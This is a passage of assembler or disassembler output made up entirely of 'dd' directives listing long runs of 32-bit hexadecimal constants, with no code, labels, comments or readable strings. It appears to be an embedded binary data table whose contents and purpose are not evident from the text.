		dd 18C468Dh, 1FA07759h,	0E064FFBDh, 0E8207443h,	0C9C76Fh
		dd 0FD9E4A22h, 1DBBDC44h, 5D6CDD00h, 0D45A2A9Dh, 0BDF60928h
		dd 28684FF5h, 74800CDAh, 258937BEh, 0ACD48418h,	0E8004830h
		dd 0FD708C36h, 10887A4Ch, 8813894Fh, 45C90D7h, 0B6001001h
		dd 0EAF398C7h, 770FEA9h, 0DEE3DDFBh, 0F5DFE517h, 8E5EF040h
		dd 0C8C9D100h, 0B0D657EDh, 2187951h, 0A2B7284Ch, 786324FBh
		dd 3C8D60C4h, 8CD6235Ch, 9C007A11h, 6AFC3C74h, 21009A55h
		dd 0F396CCA6h, 607E393Fh, 18BA907h, 0C0C1F2C7h,	73A20AA3h
		dd 518032Ah, 0E181BC2Bh, 5770306Bh, 30D15899h, 0F900B618h
		dd 0BF62E83Ch, 5827A602h, 19EC181Ch, 21EF008Ch,	240777A9h
		dd 765039ECh, 0EA6F0F64h, 0F07802F9h, 5E45A8Fh,	45E5EDB1h
		dd 23F43AECh, 0D73004Ch, 80D854FBh, 25431C15h, 12572094h
		dd 4737198Bh, 10267858h, 898DA941h, 1744522Dh, 808A91C8h
		dd 160F04Dh, 0B67409F7h, 5807585Dh, 8E22F2BEh, 0FF09CCD0h
		dd 9F9BA3E1h, 804C1144h, 0D9A5B4F7h, 34E730Dh, 22BDF238h
		dd 0D80169EAh, 7AA2A0B1h, 10A55CDAh, 1A919817h,	46BBE181h
		dd 18F4D8ACh, 53648894h, 62233Ah, 72BD79DCh, 84A0824Eh
		dd 6E005668h, 75AEB7EAh, 1CA531F0h, 0CE357E73h,	7BCA2596h
		dd 4F467490h, 1E1DED00h, 0FB5EF306h, 0A38CDB12h, 330888h
		dd 7E6B0F73h
		dd 6EED506Ch, 0A4FA11Dh, 23405C80h, 0F0BCC12Bh,	0A00095E2h
		dd 0FF14D55Fh, 3744889Eh, 0D0C0F4B5h, 7AC5004Fh, 27F0864Ch
		dd 0B6161D55h, 770F78F1h, 7F32A6A3h, 765A0B48h,	60E242B7h
		dd 0A8A1587Bh, 0E2186071h, 0F65FD003h, 0C7AED8B9h, 0A240116Bh
		dd 1C0B5D18h, 0E56D768Fh, 56BA8064h, 5E31B21Ch,	0E8FE6300h
		dd 0AA6F018Ah, 140497EAh, 32248DCEh, 3017E23Ch,	7B022AC5h
		dd 59676F6h, 0C2A08E32h, 891CA2D7h, 15E8CC84h, 0F851FF9Dh
		dd 0A5C44680h, 0E899B3A2h, 0C44E6BC0h, 5450BAFh, 0D810D510h
		dd 0E1C08E03h, 8F4BCD0Fh, 0A4F80790h, 2E951Fh, 0D07E6042h
		dd 10A8275Ch, 0B700450Dh, 3A20E18Bh, 10184975h,	73512BDEh
		dd 1827140h, 0C9ECEF47h, 0BF10D6AFh, 89D780E9h,	8C40AC39h
		dd 85BC01C2h, 50E6DBB2h, 0C6A4686Dh, 513C37h, 29FC0DC5h
		dd 8BC373C2h, 0A306ABF6h, 67439EEh, 0DE660B59h,	0B00B6AFBh
		dd 0C6906CC6h, 7D6D4814h, 8E760BF8h, 2E981879h,	7628BE1Bh
		dd 8F008946h, 0BE83CBADh, 48C5188Ah, 0D0ECC77Eh, 4C30492Fh
		dd 48926AE9h, 0EB61C800h, 0EA2BE257h, 71B50038h, 0AAB0CD6Ch
		dd 0B73F4FDEh, 0BD9E8072h, 0A1517862h, 85263C81h, 0AC468815h
		dd 0CF3EF205h, 0F238A249h, 6D213083h, 0C405B6FCh, 20423943h
		dd 0D482BC65h, 0DD4C030h, 9C7B801Fh, 3F11B518h,	5C28B820h
		dd 0F1008CEh, 867C509Eh, 0B03B7C5Ah, 0C9051523h, 98331082h
		dd 0D93CC048h, 8C0B0019h, 159CAC83h, 53064F84h,	17238ADh
		dd 68590241h, 5087F05Bh, 0A809B0AFh, 5945C448h,	0D31C079Dh
		dd 5C945202h, 1D465E0Ch, 86E80803h, 19B0AE71h, 412DD6ECh
		dd 0BE2C9842h, 0B1751322h, 9CB88C56h, 0D8A18D24h, 467678AEh
		dd 0F06C0A8Bh, 76027082h, 0D024D2EFh, 99861010h, 0A3680C44h
		dd 567539FDh, 0BC01A8F5h, 5BEBDE67h, 845AE281h,	916F4001h
		dd 5133A21Ah, 8D4AB823h, 3597C86Ch, 4501B70Bh, 2568E889h
		dd 9D7002ADh, 0A35E8B87h, 0D6883468h, 0A430A097h, 1FAF6F7h
		dd 75FC5DDAh, 0E4ACD242h, 12056669h, 73BE092Dh,	8423883Ah
		dd 0E9500039h, 3BC3756Ch, 748B09AFh, 0D870F99Eh, 8CA04778h
		dd 0AC9E4DA1h, 591CD15Ah, 501883h, 2DEB7A32h, 0C9DD0A67h
		dd 0D454E305h, 0A0A00EEFh, 2C989345h, 4D4674C0h, 2A590B00h
		dd 0DE45350Eh, 0B96FA313h, 0DAD6CC22h, 1C4A2E58h, 438500CDh
		dd 6E7675E0h, 25075538h, 0E4C8652Eh, 2F1F6033h,	0C7611E05h
		dd 232023Bh, 0EC42954Bh, 0C586C401h, 443B2B4Eh,	8B006223h
		dd 46722B0Ch, 0ECA49561h, 7300B1B7h, 7C264C6Ch,	16A4AB58h
		dd 28104D78h, 40710464h, 0E485D65Bh, 1488D08Eh,	18C20C0h
		dd 0D89C631Bh, 5FE20929h, 78465864h, 47E4A702h,	0F0D9928Ah
		dd 0E4AF4060h, 0ACD607B1h, 702EC7A1h, 5C8EF08Fh, 0F9D4F9C1h
		dd 2F2FD974h, 760232Ch,	99F23464h, 3A1AD800h, 0A70BE9EDh
		dd 0C74AD876h, 618A44BCh, 7CD0F3F1h, 849249D7h,	208C4100h
		dd 0D5F27478h, 18C4ACA7h, 0D4D82C60h, 93FA1213h, 0FD38C8h
		dd 5A2A139Fh, 4FA749C5h, 12D92800h, 0A10D2F46h,	0FCD6526Eh
		dd 0ED5B0E03h, 0BA1DD461h, 0D028944Fh, 25728A21h, 1C64E845h
		dd 11FA0065h, 13492934h, 0B33B63Bh, 90AB871Ah, 9D5F5AD4h
		dd 0E38F3830h, 0E5DCBE00h, 44A83606h, 0D27A19E1h, 0A60F2874h
		dd 46747061h, 228E001Ch, 0A8A1F95Bh, 387C039Eh,	93BF018Ah
		dd 48F09068h, 23E80F04h, 71390A1Eh, 18013E34h, 0EA2A4829h
		dd 4C133F3Fh, 5D86F404h, 0DE00ACACh, 0D7A755F9h, 80987497h
		dd 12EA3440h, 0EC23CFh,	5E447620h, 3E2422BFh, 184C860h
		dd 0D307D4B6h, 0EC0178ACh, 27554BA5h, 0BFF1180h, 0C2FC941Fh
		dd 4B26678h, 226C3C5Ch,	0AAA43C5Eh, 898110C8h, 0D28F47BAh
		dd 5B8B8880h, 49059007h, 0DE296D35h, 4CFF90A4h,	53235C3Eh
		dd 0BBC44401h, 983343A2h, 0C44C6580h, 3800A997h, 45BD8016h
		dd 24FDDF02h, 5EE86BE1h, 35001846h, 0F398E019h,	9D7CBDF8h
		dd 2485252h, 0A2A4C445h, 6094D94Bh, 5C44D6Ah, 0BE711002h
		dd 81D3F1D5h, 0EDB5BFBCh, 0F4C3C004h, 34120746h, 0ECA08BD2h
		dd 0C2300F5Dh, 8002A35h, 0C87CE02Fh, 6A635212h,	2DD74D04h
		dd 8E72FC90h, 0D21F00B7h, 7CF97408h, 150E51EAh,	16258C1Ah
		dd 7DA64D0h, 77E0F584h,	0C5670359h, 92F7020Ch, 0D672700Ah
		dd 0D4ACD88Ah, 100D0BDEh, 0B4C58B46h, 0A56089E4h, 6F2DE315h
		dd 0F084A2BDh, 2F9C648Ch, 0EC908ABFh, 0B5EADDFBh, 7488200h
		dd 3959AEB6h, 0DA6B4F3Ch, 0B57BC018h, 3C53D8A1h, 0D6A50F63h
		dd 46FE1CA0h, 383A7BE8h, 0F6027AD4h, 62ECD16Fh,	0DE5CD4DCh
		dd 119E1721h, 2008AD36h, 272246D7h, 14DCE8EAh, 0E2D3007Ah
		dd 0E588FDA1h, 0D24FD1E7h, 19C8348Bh, 54F0CBC0h, 0FBA4CF5h
		dd 0BED4AB09h, 891004F3h, 3FBC499Fh, 1511B41Dh,	35C76B81h
		dd 4B9C243Dh, 0C82EDB00h, 5CF0A34Fh, 2AD60FE1h,	62C37ABFh
		dd 3A0038A6h, 0C2746BBDh, 12C0AAB0h, 0B51D3CBEh, 10C7FE08h
		dd 24601B44h, 800796A0h, 6021314Dh, 74A98D62h, 0E968055Ch
		dd 8BE8C1ECh, 70083BF7h, 0BF99808Ch, 6DB9B098h,	41B4F400h
		dd 38C7DB0Bh, 0ACEC382Ch, 39EF0404h, 509CC87Eh,	94BC6824h
		dd 0A653414Fh, 64230F8Ah, 623015A2h, 962CB8C0h,	87465E58h
		dd 0B4A3C807h, 86F0920Bh, 0D639285Ah, 3A3020D7h, 54988259h
		dd 22BDA0CAh, 0C888564Fh, 3BD04AD2h, 312370h, 4AE29942h
		dd 0F230B7D6h, 0C17C701Eh, 0D100B151h, 851830h,	1F433EA9h
		dd 782C2086h, 80BBE93Bh, 0BF4F5EE1h, 4AFDA7F4h,	601C0035h
		dd 2470ED4h, 865977E2h,	0E85E32A0h, 0E4F86582h,	8D71604Fh
		dd 64C50133h, 615A2D84h, 0B5CC4093h, 0FCBB482Bh, 603C8901h
		dd 7B18ACD6h, 709088h, 0B7DCF03Ch, 85C04F0Ah, 0BF11C600h
		dd 8FF37E81h, 60DEFFB4h, 5A96E0BCh, 0E820C405h,	971A8780h
		dd 0CBB41510h, 9DE90769h, 0F32AF34Eh, 0CFC196DAh, 38246193h
		dd 8C8BE874h, 848F0812h, 0EFD41820h, 0E00B40EEh, 0D718EBEEh
		dd 861113B2h, 7CA1CFF9h, 64582689h, 41C9A1F0h, 0BA2490E8h
		dd 0C5D216AAh, 19E8A04Fh, 3C0EFB4Bh, 804637F8h,	0BC302879h
		dd 809A6590h, 24345642h, 92333907h, 21036A1h, 0E43F7ACDh
		dd 675800DDh, 8C5F11D4h, 8095F3F9h, 3A2A2514h, 33818062h
		dd 8C00285Fh, 0D210C43Dh, 0F4408ADBh, 1C4049E4h, 4FA42468h
		dd 1817ADE8h, 0D8808791h, 0BC2EFB61h, 1B6740Ah,	0B4E0E03Fh
		dd 0D50590h, 0FC38BB83h, 4774BDFAh, 70D0C906h, 30299536h
		dd 6459F203h, 29003733h, 65219A66h, 1FAF53B8h, 6E8638C6h
		dd 25B4A114h, 0D4CF206Dh, 19CE10ECh, 5F32D60Bh,	7801CBDh
		dd 7E8641E1h, 0C5A829C8h, 45F1154h, 0C73AE9B1h,	62C65882h
		dd 74A87410h, 0ED0E8A46h, 1B0710E0h, 2E58E37Dh,	0CF5D6004h
		dd 74D132BAh, 64333B8Dh, 0DB3033A2h, 707F02CDh,	898F0C16h
		dd 1A00FC59h, 3952C4E8h, 5E872C7Bh, 14467C50h, 1A2A480Bh
		dd 109470D8h, 0C4BD6AC5h, 0A204ECACh, 25CACFD5h, 961AC040h
		dd 1802674Fh, 528A0762h, 0DCACD644h, 0B0D58B00h, 7119564Bh
		dd 7D3825B2h, 5720BC46h, 5003129Eh, 23A43E04h, 8E600082h
		dd 0A4E5DAA8h, 0E896C800h, 280EFDDFh, 30F21374h, 0E720F698h
		dd 42523BD0h, 0D7802421h, 122E087Ch, 8A72DB0Bh,	9F8000E1h
		dd 837D0DC3h, 26B617F0h, 88C08B82h, 7D32C133h, 0F539CC34h
		dd 669448FFh, 731C2090h
		dd 0FA0E1DC4h, 0AD23E029h, 318657EAh, 5A98E3E8h, 0D8940001h
		dd 5C84BEB4h, 331F6146h, 8C4F401Eh, 2483A34Dh, 0EDBCB11Ch
		dd 0C0200113h, 4604F7Bh, 320928B8h, 0B294F36Bh,	0B1D03014h
		dd 21755E14h, 88A41FC6h, 1D9831C9h, 80861134h, 0F3FA6444h
		dd 8AE90C9Ch, 4B1A701h,	0DE676D0Eh, 6F9162F6h, 135C52BCh
		dd 0E001BDFCh, 8A1C9BB0h, 0D8EA83F0h, 72D7D416h, 0E817E0A1h
		dd 91B8480Bh, 0DD5900F2h, 6669478h, 83002345h, 480D6843h
		dd 0B1BB403Ah, 74F82688h, 0F8006446h, 421A236Eh, 0C890BC69h
		dd 0E59A2407h, 3E31D44Fh, 8C7352E9h, 3F304FA2h,	0BFFCBDh
		dd 38C3EE41h, 86AECF94h, 8448D928h, 582DD401h, 28393CF8h
		dd 94F38BD0h, 2500DC28h, 1B354CDAh, 6EC1B675h, 0CF44605Ah
		dd 47B4D18Eh, 0F06082FDh, 9F2ACE88h, 1C63C98h, 0E9732D39h
		dd 0BC4C57BAh, 73328C4Eh, 5E7C843Ch, 0D49E5914h, 2A00EE3Ch
		dd 10620FD6h, 3D44EDCEh, 9612BD45h, 50F4F055h, 47D4388h
		dd 20BEAFA4h, 72888748h, 1C40013Eh, 0C883240Ah,	7CA66FDAh
		dd 0CF7E80FDh, 0F9187D01h, 0C6BFB17Ah, 23D82F3Fh, 0BBB0001Ah
		dd 7E44779Fh, 3D16140Bh, 1D448405h, 0A596E041h,	5BCC6C2Bh
		dd 0A1C0B09Ah, 2C442A60h, 802F1C4Ah, 0CF013623h, 833E4FEEh
		dd 681F5868h, 4D0110A6h, 0B0C8BD24h, 0A86404A9h, 0C1CA07D0h
		dd 2BA2EA4Ch, 98E22C17h, 303063F2h, 40649C68h, 22098676h
		dd 0E84E8492h, 28040DBh, 63493E7Fh, 2FF68303h, 0A0C010A0h
		dd 9017BC31h, 0D97426E0h, 0BD96C344h, 190021FAh, 9700123h
		dd 1A7AE163h, 56E67870h, 8B86960Bh, 0E4E4C51Eh,	4B67674Ch
		dd 0ED941690h, 45B4C7Ch, 62222A09h, 0F6878C56h,	0EF415158h
		dd 60202BCEh, 15C0BACFh, 0B49A85F0h, 7038BF0Bh,	0D20B4C10h
		dd 0B4F39F26h, 0D1753909h, 0E08B6044h, 42692D86h, 79E079E0h
		dd 35E91863h, 8F98D75Fh, 0C08888FCh, 552C7F96h,	4222A30Ch
		dd 30FFF87Eh, 0B8C15BE1h, 0A1757927h, 0D09B8D4Bh, 84231287h
		dd 38F480F4h, 323B9C69h, 0F6E112EAh, 8D0534B8h,	0ACFF2945h
		dd 8C1CBC0Ch, 39AF9100h, 904C3FA7h, 0A090B1Dh, 64782FFAh
		dd 8CE6BD1Eh, 46743CEEh, 12D50031h, 0BFD63F7Dh,	0B40850C2h
		dd 810569D4h, 37604C0h,	0F99EA083h, 20A4B532h, 5FC4BC5Eh
		dd 0D080FC9Bh, 5AF8886Fh, 702C7227h, 0D4D0D0FCh, 12693E10h
		dd 40B43590h, 0B5AE00ABh, 7386881Eh, 2601EDC6h,	0F0787A2Ch
		dd 0B18B698Dh, 9C0375AFh, 31E29998h, 0A75B64E8h, 8E76BB04h
		dd 48884CA1h, 47820A59h, 27CC920Eh, 42C048EDh, 0B72869Bh
		dd 16568EA2h, 1A0E0402h, 38B04E04h, 0BD1FC5Fh, 57EDE729h
		dd 3411E01Dh, 76395A82h, 0E98D487Eh, 7BFCF16Eh,	4B8800ECh
		dd 0A28D3BBEh, 0C302FBF1h, 0FF61FCE1h, 1F1CFA35h, 5FE1CB0h
		dd 84C92206h, 0E9B4E0AFh, 0EE6E1A09h, 56DF0688h, 90820059h
		dd 83F090Ch, 0AF5027F6h, 4521B6A0h, 11FC2047h, 4F86A868h
		dd 7360088h, 0A78A50A1h, 2C9107Dh, 9FF67B0Fh, 9BB13A01h
		dd 4011D466h, 4ED3E1C0h, 0C8E4CEF0h, 0C023C734h, 7B37BF31h
		dd 0F98E6209h, 324585Ch, 388C5988h, 58E835A2h, 0FC0974F5h
		dd 5402A75Fh, 3F803818h, 0E9843A04h, 58C93E2Ah,	8F609037h
		dd 55EE087Eh, 4676D210h, 521C0460h, 8CBCCC7Fh, 0AB1F8820h
		dd 5DE0D222h, 167E5CD0h, 0F4FE65D1h, 0EB09FB34h, 111882CFh
		dd 5918AEB0h, 76731C09h, 8078C54Dh, 0D41C52BEh,	10E667D5h
		dd 0DD16FBFCh, 0C452FE05h, 8623A43Ah, 7BD0E400h, 0D05EC47h
		dd 81DF018Ch, 229439D0h, 0FC10BFADh, 1C000EF1h,	4A9B70C1h
		dd 1484E783h, 0D0E9A019h, 4278304Ch, 60023C8Ch,	979D9439h
		dd 0DA0B004Fh, 9569AB5Ch, 0A705A2DBh, 92EF5419h, 5E0D68A8h
		dd 4241AEEAh, 0CE2AF344h, 0A716DE00h, 77081BEDh, 8A870782h
		dd 0C9D68638h, 0D8A184E6h, 2AE417AAh, 2E2FBCB2h, 3400C4E4h
		dd 0F755F1ECh, 1D3D9h, 5A232F7Eh, 0BD6680B9h, 0A7106004h
		dd 0F8C3F777h, 748904FFh, 0A95425BEh, 3AE841B8h, 88232C3Bh
		dd 6A67900h, 978EE4Ch, 7E93B2FFh, 0B45E64E4h, 0BC0B09Ah
		dd 0DAE0B90Dh, 0B059AB31h, 0B10033A1h, 0F64AC4BFh, 7146E0C8h
		dd 0EA140067h, 480EF3Fh, 0B1014906h, 3D5E5A0Ch,	20DAD726h
		dd 0F2F46033h, 4F38931Dh, 0D1AD6540h, 0BA159D96h, 87B84808h
		dd 5F8C4D4Eh, 8F51E539h, 0A7C75BA1h, 9C29AB2h, 7CCC5C5Ah
		dd 0CD001846h, 1EF361AAh, 6F59D18Ah, 0BCC85A34h, 52AD01BFh
		dd 0B4801E5Bh, 0ECC82A7Bh, 0F2B501C9h, 91A47872h, 0B7342021h
		dd 20BC6071h, 0B3E98904h, 95B464F4h, 7CFB2009h,	5A2F8D70h
		dd 506F8604h, 78A5D874h, 34601CC4h, 9939F2A5h, 0A4BC8052h
		dd 301867BDh, 0CEE60C9Bh, 7879F102h, 0C30077F8h, 446F1D1Ch
		dd 5C5ECC7h, 0CDE510A5h, 0C8548B9Dh, 6370C237h,	10B92441h
		dd 4EAAEF76h, 5BA82016h, 8E696E72h, 403874EAh, 9C848F83h
		dd 34C6BB01h, 3D67017Ch, 0B7331AD4h, 2565300Eh,	0E2F0F307h
		dd 0E3053015h, 0AD7550Ch, 2674902Fh, 5EECB4C4h,	0B9006546h
		dd 52EFB81Fh, 960C46D6h, 0F05EA9B5h, 4BEBF7D4h,	3AD81661h
		dd 1C36232Ch, 0EAAE8650h, 0E47B796Dh, 24C1D11Eh, 0EB8CE3C0h
		dd 5B6A4A0h, 6E6FE99Dh,	2E08A13Bh, 7C804CDBh, 2207D59Ah
		dd 5024684Bh, 0B099E40Eh, 1CF05876h, 8C87E8h, 6DEBD435h
		dd 68614F72h, 28E9BD65h, 5D8030FCh, 6F2EE3DFh, 5E257002h
		dd 6D447A8Ah, 4307E094h, 3824B98Dh, 341187Bh, 5864D71Ah
		dd 0E22A12A3h, 0C5B55382h, 0C0409E70h, 227AA2B3h, 0E32C966Bh
		dd 0ECB2839h, 7F71D999h, 9700806Eh, 489A405Ch, 731307CAh
		dd 1881FDBEh, 0C84E9B33h, 0C2CF8B88h, 5709BE76h, 16BFA0A1h
		dd 62A3002Ah, 0D9A51668h, 0C8C8CE03h, 44A0CE89h, 5B06DE75h
		dd 7C05C401h, 49A995F6h, 0D768709Ch, 0F2C0A2C7h, 387C301Dh
		dd 16EA677Dh, 8A5E5C39h, 0E842AF3Ah, 34E07516h,	1C699705h
		dd 0B89A2E82h, 86CBD3C0h, 0FE049E02h, 44E996AEh, 0BEE0C112h
		dd 640E2A79h, 51FA0B1Eh, 181A791Ch, 908400B9h, 9922EF6Bh
		dd 730039AAh, 67A297ECh, 9F540A40h, 378148B5h, 0C3EC468Bh
		dd 94DC442Eh, 8808CED9h, 0AF5DC064h, 703A8B78h,	59B0A7BCh
		dd 439280F4h, 2EC171E2h, 3E84D400h, 3A9A9F16h, 45FD010Bh
		dd 4DB7F08Eh, 2D86D170h, 0AB681F28h, 6224B1F7h,	881128C7h
		dd 442B2B0Eh, 92C4220h,	0F0C9026h, 0D02A54E9h, 84E51FBDh
		dd 8837251Dh, 0F98D707h, 0D0A31B02h, 26D24D0h, 1200F674h
		dd 0F8DE1140h, 4F1A7791h, 38C8C83Eh, 67002174h,	0B70648B1h
		dd 79086020h, 0F3EB07C5h, 5E40FB74h, 24D30F61h,	0B05827FEh
		dd 167616EFh, 0CCAA54BDh, 0BC16B100h, 4CB5CE1h,	8C162C8h
		dd 79D25DE8h, 18167958h, 82E03FD7h, 0ACF97400h,	0D8A19DE9h
		dd 8C405404h, 0F8B01719h, 9AB356Fh, 0DD140B38h,	71CE9CC7h
		dd 16F9E983h, 0D8B12AA9h, 352A9C61h, 0CD9794A5h, 0A3F8C048h
		dd 634FA622h, 205708C2h, 0D1839AE1h, 2DB8AF1Fh,	3B196C18h
		dd 542F60Ch, 72B8951h, 23D50063h, 3CCBA7F6h, 780BFE2Ch
		dd 4AAEEE60h, 79250001h, 3A3B2005h, 602748D1h, 7EA442B9h
		dd 4100D640h, 0B90DEA76h, 0B18A16h, 121EC87Eh, 0E5D40C23h
		dd 0D490B684h, 0B1A0C800h, 410857E1h, 73AB2875h, 5CB22090h
		dd 0C8D1C725h, 2F427BA8h, 444587CBh, 0B6604FE4h, 6501AD68h
		dd 3E4A7595h, 96D4185Bh
		dd 524B5B8Dh, 473009D0h, 0B03CA4C7h, 72A35142h,	0CC56599Eh
		dd 25F4D12Ch, 36D950F9h, 1238B418h, 0D0185D02h,	8C34A870h
		dd 0A08CC64Ah, 0CB9E4F90h, 0C04DC82Ch, 78A148A6h, 4B52D58h
		dd 0BACFD674h, 7104ACh,	80E188CAh, 99B71983h, 0B84EE94Eh
		dd 0B84890EFh, 40A1210h, 46F5BE7Ch, 7B395090h, 0D8AD9F7Dh
		dd 2900CE40h, 0C0709609h, 1B180FB8h, 47038C58h,	0D3103F3Dh
		dd 39A1178Ah, 29BC2072h, 0F4404BEAh, 405BF8BFh,	23F831AAh
		dd 4ED08140h, 0D4DC20FAh, 10744D15h, 890EA9DFh,	0B83D0A5Eh
		dd 4D4674h, 0C7BA9AF5h,	14E420ADh, 203E3661h, 93772E00h
		dd 9925A02Dh, 0D412D90Eh, 9C9ECA60h, 0F1896311h, 0B7BDF858h
		dd 3F0E09DCh, 590018F1h, 0CAA3E897h, 332B00F4h,	519FCCFBh
		dd 6404577Dh, 0DC30446Eh, 0D4B8EDC5h, 55D36C50h, 883E9484h
		dd 1B004B84h, 8B8299E3h, 0E4728E47h, 22580Dh, 5DC8E680h
		dd 0B30563A4h, 3A7AA292h, 813E40FCh, 9A30FD02h,	18FC8262h
		dd 55E800D6h, 9C1966F0h, 0DD00C0CEh, 107B7305h,	1334FB6Bh
		dd 0A319BB4h, 80A49FF8h, 6F05BEABh, 3248C9F1h, 135E1340h
		dd 0B0F288D4h, 293062F2h, 7ABE0BC7h, 0C7154B2h,	0ED1819D9h
		dd 0BA45D900h, 13EBDA36h, 0DC18B78Fh, 0C0044E2Eh, 6EE33533h
		dd 0BEFCE0h, 289D3114h,	27B6B758h, 467684BCh, 0F9057A88h
		dd 71105D59h, 0F0A9E053h, 7707C6E8h, 6203508h, 82D614h
		dd 0D8885328h, 3E021F01h, 38CAC024h, 0F4488A42h, 89037808h
		dd 4934C8Bh, 0A8B6708Eh, 1D4F4674h, 0E6804C23h,	0DD07A114h
		dd 0EA852795h, 8000859h, 0E5F9659h, 4AB1CADh, 808E1E98h
		dd 0D4CEAF3h, 29794F34h, 0B272E91Eh, 3527D4A6h,	46198064h
		dd 45CDB6ACh, 7FAAB180h, 58E54CD9h, 0E054A6D7h,	1E311DFh
		dd 0F0425CC5h, 0F059E899h, 0E02C6A24h, 4674D0E2h, 9C980461h
		dd 209D72E1h, 4BB05426h, 2216BD0Ch, 0EC407E46h,	0AB6DAC5Dh
		dd 3E8B892h, 342BDDF8h,	0A29CE5D0h, 3085F29Ch, 0F3003B84h
		dd 2C8FD45Dh, 48BEEF5Eh, 3054A017h, 796A026Ch, 8202A329h
		dd 810014D0h, 0D78F279Dh, 5FF05B20h, 0A77C8889h, 0C11DDA20h
		dd 484E1990h, 0D30C32DEh, 14B2ACF2h, 7E91DF30h,	122700BEh
		dd 5C4E786Bh, 4F7C8AA4h, 9080B04Eh, 829963E1h, 38037062h
		dd 0FEEB4D8Bh, 0F890F884h, 3A1E8C1Bh, 100FC91Ah, 8F051C5Dh
		dd 0D00446B7h, 0F0473BEh, 2B78E4E9h, 19EE0232h,	19988CC7h
		dd 0C0F40528h, 0F07AA46Fh, 8C2C5900h, 0E9C4C844h, 13D4B4h
		dd 5D1C2595h, 6B5F86Dh,	88F349D3h, 0B63031A2h, 0B6504BAh
		dd 0ACFEA7D6h, 0AD71130h, 2ED59901h, 0FC8E7957h, 0D47F7867h
		dd 2CC37E4Ah, 473D8241h, 603244E0h, 1BF15BCh, 0A7C0B0DDh
		dd 2B171A2Ah, 12D7985Dh, 0DBE43CE5h, 0F0E795F5h, 0DD603364h
		dd 5E04D1E3h, 544937C3h, 167A4881h, 105F4000h, 961A2B04h
		dd 44F97414h, 0F60072B8h, 0C64975EFh, 2CE8B12Ch, 8A04FF2h
		dd 7E001FD2h, 6F91402h,	80179D15h, 0B966291h, 0D000E185h
		dd 0CF4072B6h, 0E0AAB02Ch, 22A2CC00h, 9103755Eh, 40E549C4h
		dd 0D16084E4h, 5002C2F6h, 9FD692B2h, 7434509Dh,	23BF813Fh
		dd 0F05031DCh, 0BC6445F8h, 78EA480Fh, 0FA2A5582h, 94CC68EBh
		dd 247ABFC4h, 71553F00h, 0A20E2EBDh, 0BFE9D21Dh, 0F06861ADh
		dd 0E8265BD9h, 76387C58h, 6F1A241Eh, 0B7A02888h, 8CFB0B21h
		dd 24B27370h, 91D8F32Fh, 0BC344D54h, 0B5A100A2h, 7CDBE0A7h
		dd 0ED01EE06h, 748E1092h, 802EADBEh, 45BFEAACh,	0ACE84E67h
		dd 44ACC5C5h, 3F270716h, 0A4C23E4h, 1D8A663Bh, 0E00FC5Eh
		dd 82DD2955h, 1F009838h, 3525628Ah, 0C01A92EAh,	2AA2BE38h
		dd 0E8A0500Ah, 409573B3h, 803CE1D8h, 0FC9EEBD4h, 0D66704DCh
		dd 0D547D22Ah, 0D314BD00h, 3780709Ah, 21864B94h, 2F82070Eh
		dd 23BDC671h, 0FBB7E4A8h, 4F20C02Bh, 4097AF61h,	168DA0CCh
		dd 0AD5945h, 8AA5F3A4h,	735F0576h, 2880749Bh, 6F2D886Ah
		dd 26CB7900h, 8A4DD7BFh, 0AFF72ED1h, 0C8422F7Ch, 0E75E9074h
		dd 0E592D419h, 0B084AC03h, 436E32E8h, 88A2C048h, 4F0F330h
		dd 2A23496Fh, 4824C8EEh, 65670D09h, 0D0F80153h,	3A2A1F56h
		dd 21723F0h, 24066E58h,	0B4193E40h, 180FF801h, 0DE105EFAh
		dd 55C8472Bh, 806A7622h, 271E8317h, 48272CE2h, 6C803479h
		dd 7475B5C1h, 0F1AE4BF1h, 0A2AC2340h, 17B93065h, 81AFA93Bh
		dd 0B67318A8h, 372F58E5h, 0D8534BA0h, 567C58h, 0F7D77D1Eh
		dd 58729002h, 84A5B75Ah, 7FC072EEh, 20253D8Ah, 8BC9497h
		dd 0AF3F571Ch, 0BD0044EAh, 0BB00DCB7h, 0C41F9575h, 6F390BF9h
		dd 60D9CB29h, 9181679h,	38CAC704h, 0D0BCF120h, 599C04DEh
		dd 5ADC8318h, 0B6D0BCFCh, 8D22DDEh, 9DC068EDh, 4F7E88A3h
		dd 2F5491BEh, 5C4B3F21h, 0C410C747h, 0AE51608Bh, 0F89154BEh
		dd 26CF12D4h, 0A100F712h, 99FCF75Ch, 0DC200681h, 21F4032Dh
		dd 7862E700h, 354256ABh, 2A9809B9h, 0F87A04DEh,	1A0A4D05h
		dd 70EC8407h, 6FDBF405h, 648F9A7h, 34BD9D96h, 0EB898A8h
		dd 0EFDC2C94h, 0F44A07A4h, 3AE95C40h, 448218DEh, 2D76DAAh
		dd 7E6BD588h, 0AF028C24h, 7A13E199h, 41950F8h, 9B3FFF99h
		dd 45438054h, 732087C7h, 9A81023Bh, 95831A33h, 0BED490D7h
		dd 27D6306Ah, 11D1C739h, 57EDF813h, 34C8988Fh, 2A881C9h
		dd 8E3A6DBAh, 0C015C81Ch, 0EE83EB4Dh, 0BC905E4Fh, 80280996h
		dd 0E00044DEh, 5E295FFFh, 60F7198Ch, 0D727D982h, 9BD8BD3h
		dd 7034DB64h, 3B5A162Fh, 2B182CC2h, 84915C97h, 0D5AC780h
		dd 0C60A7442h, 0BBAAB743h, 0B472A602h, 7CE4E9h,	0AC79D175h
		dd 89568180h, 0A9E30500h, 828F3DA5h, 220EA08h, 0D7EB8825h
		dd 0C5A32F6h, 0B73E125h, 0C70C4D18h, 0A4F6C01Fh, 7A029C8Ch
		dd 0E2D7D44Fh, 77DCCA2Fh, 70356891h, 480059ECh,	7F60CD3Eh
		dd 3C2CA41h, 534F6BCFh,	5927A368h, 5EC05228h, 819C8540h
		dd 3D47A9B4h, 0F8300120h, 4990286h, 0BD9E7600h,	0F204E65h
		dd 3660B47Ah, 82D9C907h, 0EE135B01h, 7F9BD427h,	0AC6871E5h
		dd 8C7BBCh, 85806F31h, 5AE2A0C0h, 12D47905h, 28CE72DAh
		dd 81C07A88h, 543058h, 5F481CECh, 29390DBAh, 11509D95h
		dd 34B68065h, 50FC03EDh, 2EBDE137h, 84C03195h, 1214A6EFh
		dd 4C4C18F6h, 718C1DB8h, 994F0E6Fh, 2C829726h, 0A4F81274h
		dd 5429B612h, 0DA5B04E6h, 0FABE8084h, 0B7DC10B0h, 18910897h
		dd 0A8D64D80h, 2C2435D0h, 46748427h, 17B60032h,	0A5EA13Eh
		dd 1A2C0973h, 0AC008F93h, 68584FB5h, 28A544h, 81AF6040h
